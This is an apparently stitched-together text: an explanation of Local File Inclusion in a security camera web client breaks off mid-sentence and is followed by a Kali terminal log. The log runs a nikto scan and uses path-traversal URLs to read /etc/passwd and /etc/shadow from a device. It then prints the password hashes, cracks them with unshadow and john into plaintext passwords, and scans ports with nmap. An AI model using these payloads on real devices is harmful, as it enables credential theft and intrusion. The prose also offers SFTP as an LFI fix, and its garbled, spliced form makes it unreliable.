A Local File Inclusion (LFI) vulnerability is a type of vulnerability that occurs when an application is able to include files from the local file system without proper validation or sanitization. This vulnerability can be exploited by attackers to gain unauthorized access to sensitive information on the server, such as configuration files and log files.

In the case of a web client security camera page, an LFI vulnerability could allow an attacker to access the camera's configuration files, which may contain sensitive information such as login credentials for the camera's control panel or network information. An attacker could also potentially access and view the camera's live feed if the camera's feed is stored on the server.

An attacker could exploit this vulnerability by manipulating the camera's web client to include files from the local file system. This could be done by injecting malicious code into the camera's web client, such as through a URL parameter or a form field.

To prevent LFI vulnerabilities, it is important to properly validate and sanitize user input on the camera's web client. It's also important to use a secure file transfer protocol (SFTP) and restrict file types to only those that are intended to be included. It's also

• root@kali:~$ nikto -h 192.168.1.11

• ---

• Target IP: 192.168.1.11

• Target Port: 80

• ---

• /%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd: The Web_Server_4D is vulnerable to a directory traversal problem.

• /../../../../../../../../../../etc/passwd: It is possible to read files on the server by adding ../ in front of file name.

• /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd: Web server allows reading of files by sending encoded '../' requests. This server may be Boa +(boa.org).

• OSVDB-3133: ////////../../../../../../etc/passwd: Xerox WorkCentre allows any file to be retrieved remotely.

• ---

• http://192.168.1.11/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

• http://192.168.1.11/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fshadow

• /etc/passwd

• root:x:0:0:root:/:/bin/sh

• guest:x:1000:1000:Linux User,,,:/:/bin/sh

• /etc/shadow

• root:3kzd9/xqjB.3k:16772:0:99999:7:::

• guest:IhQlNqID7twUk:16772:0:99999:7:::

• root@kali:~$ unshadow /root/Desktop/passwd /root/Desktop/shadow > /root/Desktop/status

• root:3kzd9/xqjB.3k:0:0:root:/:/bin/sh

• guest:IhQlNqID7twUk:1000:1000:Linux User,,,:/:/bin/sh

• root@kali:~$ john /root/Desktop/status

• Loaded 2 password hashes with 2 different salts (descrypt, traditional crypt(3) [DES 128/128 SSE2])

• Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist

• 1001chin (root)

• 123456 (guest)

• root@kali:~$ map -sS -sV 192.168.1.11

• Starting Nmap 7.91 ( https://nmap.org )

• PORT STATE SERVICE VERSION

• 80/tcp open tcpwrapped

• 8080/tcp open http Mini web server 1.0 (ZTE ZXV10 W300 ADSL router http config)

• 58000/tcp open http CPE Server TR-069 remote access 1.0 |_http-server-header: CPE-SERVER/1.0 Supports only GET |_http-title: Site doesn't have a title.

• 17000/tcp open unknown | fingerprint-strings: | DNSStatusRequestTCP, DNSVersionBindReqTCP, GetRequest, HTTPOptions, RPCCheck, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: | head | GenericLines: | head | 1111 | 1111 | 1111 | 1111 | Help, NULL: | head | 1111 |_ 1111